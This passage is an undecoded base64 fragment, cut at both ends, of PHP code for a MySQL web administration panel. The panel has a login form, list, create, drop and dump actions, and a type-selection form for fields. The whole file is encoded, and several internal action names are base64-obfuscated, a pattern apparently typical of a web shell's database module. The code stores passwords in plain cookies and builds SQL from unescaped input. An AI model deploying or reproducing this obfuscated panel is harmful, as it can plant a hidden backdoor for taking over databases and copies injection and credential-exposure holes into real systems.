jsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwv